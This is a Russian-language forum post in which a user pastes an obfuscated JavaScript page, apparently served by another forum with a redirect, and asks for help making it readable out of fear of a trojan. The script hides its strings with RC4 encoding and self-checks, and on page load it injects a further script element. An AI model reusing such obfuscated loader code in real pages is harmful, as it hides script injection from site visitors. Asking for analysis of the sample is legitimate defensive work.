при заходе на один из соседних 3х буквенных форумов вылез кривой js с редиректом
в теле
помогите деобфусцировать js в оригинальный читаемый вид
во-первых, я напрягся, что меня протроянили
во-вторых, интересно )
в теле
Код:
<!DOCTYPE html><html><head><script type="text/javascript">var a=['c8Knw6cvLw3DmxDDmQ==','w6Mhw6I=','TsK9w7B9RQ==','wpVswonCmcKT','WkbCggvCrw==','CcK1aUc5dw==','wrbCk2/CuSzCsA==','QcKnAMK6Zw==','GcKybkskZgkVAcOmYhp8','wqdrwrLCpcKq','LMO/WsONHw==','MCQDw7M=','wqEVwpHCjcOawpFUw5PDiW4CIMKiw67CksKWw64Zw54meQLDlsOr','wrnCpXTCnnRKw4tww5tgE3fDhE1Kwr40KcKYAMOM','V8KTw5RZb8OFw6M=','w5hCwoFKw74=','PsK4w7obaw==','dMOlwqvDh0k=','w4LDi1bChVI=','bMKQQMKJw7sxWcOQXsOMw4rCu8KNwo3CssOoagDDsxs=','w6QGRsOtw7c=','bMKQQMKJw7sxWcOQXsOMw7vCgMK9wr0=','Bx4+w60m','fHVXYxk=','woXDtlfCkAo=','K2VuBsKQ','aCLDmsOcw4s=','dcOtw4Iacw==','AMOAcMO/QwUHQ0fDg8On','I8ODwq/DusK4','VMO7QABg','w4XCvCLDlSI=','ccOfw5wU','RMOTwqfDtw7DusK9bxlPGcOew5JPWg==','Z8KdSn7Cuw==','w4fCvTNwwrg='];(function(b,c){var d=function(f){while(--f){b['push'](b['shift']());}};var e=function(){var f={'data':{'key':'cookie','value':'timeout'},'setCookie':function(l,m,n,o){o=o||{};var p=m+'='+n;var q=0x0;for(var r=0x0,s=l['length'];r<s;r++){var t=l[r];p+=';\x20'+t;var u=l[t];l['push'](u);s=l['length'];if(u!==!![]){p+='='+u;}}o['cookie']=p;},'removeCookie':function(){return'dev';},'getCookie':function(l,m){l=l||function(p){return p;};var n=l(new RegExp('(?:^|;\x20)'+m['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var o=function(p,q){p(++q);};o(d,c);return n?decodeURIComponent(n[0x1]):undefined;}};var g=function(){var l=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return l['test'](f['removeCookie']['toString']());};f['updateCookie']=g;var h='';var k=f['updateCookie']();if(!k){f['setCookie'](['*'],'counter',0x1);}else if(k){h=f['getCookie'](null,'counter');}else{f['removeCookie']();}};e();}(a,0xa1));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mTboBj']===undefined){(function(){var h=function(){var k;try{k=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(l){k=window;}return k;};var i=h();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');var m='';for(var n=0x0,o,p,q=0x0;p=l['charAt'](q++);~p&&(o=n%0x4?o*0x40+p:p,n++%0x4)?m+=String['fromCharCode'](0xff&o>>(-0x2*n&0x6)):0x0){p=j['indexOf'](p);}return m;});}());var g=function(h,l){var m=[],n=0x0,o,p='',q='';h=atob(h);for(var t=0x0,u=h['length'];t<u;t++){q+='%'+('00'+h['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}h=decodeURIComponent(q);var r;for(r=0x0;r<0x100;r++){m[r]=r;}for(r=0x0;r<0x100;r++){n=(n+m[r]+l['charCodeAt'](r%l['length']))%0x100;o=m[r];m[r]=m[n];m[n]=o;}r=0x0;n=0x0;for(var v=0x0;v<h['length'];v++){r=(r+0x1)%0x100;n=(n+m[r])%0x100;o=m[r];m[r]=m[n];m[n]=o;p+=String['fromCharCode'](h['charCodeAt'](v)^m[(m[r]+m[n])%0x100]);}return p;};b['tdwSju']=g;b['TahitG']={};b['mTboBj']=!![];}var f=b['TahitG'][c];if(f===undefined){if(b['rMHJhi']===undefined){var h=function(i){this['bFkfJz']=i;this['WgrkyW']=[0x1,0x0,0x0];this['vpkZSz']=function(){return'newState';};this['WRTZaF']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['riFWZu']='[\x27|\x22].+[\x27|\x22];?\x20*}';};h['prototype']['HuUyYX']=function(){var i=new RegExp(this['WRTZaF']+this['riFWZu']);var j=i['test'](this['vpkZSz']['toString']())?--this['WgrkyW'][0x1]:--this['WgrkyW'][0x0];return this['yMxgRy'](j);};h['prototype']['yMxgRy']=function(i){if(!Boolean(~i)){return i;}return this['eRgUoW'](this['bFkfJz']);};h['prototype']['eRgUoW']=function(j){for(var k=0x0,l=this['WgrkyW']['length'];k<l;k++){this['WgrkyW']['push'](Math['round'](Math['random']()));l=this['WgrkyW']['length'];}return j(this['WgrkyW'][0x0]);};new h(b)['HuUyYX']();b['rMHJhi']=!![];}e=b['tdwSju'](e,d);b['TahitG'][c]=e;}else{e=f;}return e;};var e=function(){var i={};i[b('0xc','P^(q')]=function(l,m){return l!==m;};i[b('0x6','ZM4i')]=b('0x15','P&^d');var j=i;var k=!![];return function(l,m){var n={};n[b('0x9',']Ter')]=function(q,r){return j[b('0x1a','qA]z')](q,r);};n[b('0x0','(zYI')]=j[b('0x8','XYY#')];var o=n;var p=k?function(){if(m){if(o[b('0x7','k92f')](o[b('0x3','KQ0C')],o['DStDh'])){var s=m[b('0xd','*gNx')](l,arguments);m=null;return s;}else{var q=m[b('0x23','acMW')](l,arguments);m=null;return q;}}}:function(){};k=![];return p;};}();var f=e(this,function(){var i={};i[b('0xe','S]5I')]=b('0x20','bL%D');i['YLnFP']=b('0x1f','CQ6w');var j=i;var k=function(){var l=k['constructor'](j[b('0x5','0VAU')])()[b('0x21','P&^d')](j[b('0x11','B3cI')]);return!l['test'](f);};return k();});f();var g=function(i){return document[b('0x4','V7b[')](i);},h=function(i){var j={};j[b('0x1c','CQ6w')]=function(l,m){return l(m);};j[b('0xa','8b89')]=function(l,m){return l(m);};var k=j;k[b('0x12','*#yw')](g,'a')['value']=i;k[b('0x1d','BJCw')](g,'c')[b('0x18','KRnS')]();};window[b('0x19','OSaY')]=function(){var i={};i['NLCpZ']='script';i[b('0x1','e@mV')]=b('0x10','(zYI');i[b('0x22','u^wM')]=b('0x1e','0VAU');var j=i;var k=document[b('0x1b','KRnS')](j[b('0x17','Uf&Y')]);k[b('0xf','8b89')]=j[b('0x16','Rx!9')];k[b('0x14','Op(n')]=b('0x13','bMy&');document[b('0x2','V7b[')](j['ZqRVV'])[0x0][b('0xb','S09G')](k);};</script> </head></html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->во-первых, я напрягся, что меня протроянили
во-вторых, интересно )
